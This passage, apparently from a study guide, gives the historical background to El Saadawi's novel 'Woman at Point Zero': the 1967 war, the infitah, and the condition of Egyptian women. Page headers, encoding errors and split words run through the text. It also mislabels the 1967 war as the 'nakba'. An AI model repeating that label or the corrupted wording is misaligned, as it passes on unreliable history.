The mix led to Israeli victory in the Sinai, and Israeli occupation of the West Bank and the Golan Heights. The loss was enormous. Arab intellectuals termed the 1967 war the nakba—the disaster, a political and cultural crisis, a nadir from which they could descend no further. Suddenly all the slogans in favor of Arab socialism and unity seemed empty, especially the one that promised an eventual reclamation of Palestine. Instead Egypt had experienced a further defeat. There was, however, no vibrant ideology to step into the place of Arab socialism and unity. Woman at Point Zero Summary 5 Woman at Point Zero Summary The decade following Nasser’s death in 1970 brought further disintegration in political and social values. A new economic open? door policy in 1972, the infitah, led to the expulsion of Soviet advisors, and the expectation on the part of international aid agencies that Egypt would pursue more â€Å"rational† economic policies—that is, embark on privatization, or the transformation of public enterprises into private ones. The policy, involving invitations for Western investment in Egypt, troubled many leftists. Their country had for some years followed a path of neutral selfsufficiency. If the public sector were to be gradually privatized, what would happen to the previously proclaimed commitment to the common citizens? El Saadawi forged her resistance to oppression, whether it related to gender, or more Woman at Point Zero Summary 6 Woman at Point Zero Summary broadly to authoritarianism, during these decades. The Egyptian public had been regaled with promises that the demise of the ancient regime, and the withdrawal of the lingering British, would bring a new age. Yet women especially did not experience a newly tolerant, materially plentiful existence. Instead they experienced a competition for resources that repeatedly favored men—father over wife and children, uncle over niece, and male employers over female workers, to name a few examples from the novel. Women in modern Egyptian history. Urban elite women followed a fairly strict code of sexual segregation in the Ottoman Empire of the nineteenth century. In Egypt many upper? class women lived within the boundaries of the harem system, which secluded them from the general male public. Debate stirred here about the need for female education within a modernizing society, about the abuses of polygamy, and about the veiling of women’s faces. A woman’s honor was theoretically the property of her menfolk, so a high value accrued to virginity. Meanwhile, the custom of paying a brideprice, the amount given to a girl’s parents to formalize a union, was sanctioned by religion and custom, which meant that poor women could be â€Å"sold. (Wealthy women had more freedom, because they retained control of their own income. ) Women in the countryside were not subject to the Ottoman face veil or practices of female seclusion because their labor was necessary for family subsistence. If girls survived their early childhood, they were circumcised at age six or seven to weaken their sexual urge and ensure virginity. The painful, unsa nitary practice involved removing all or part of the clitoris, which resulted in medical and psychological complications.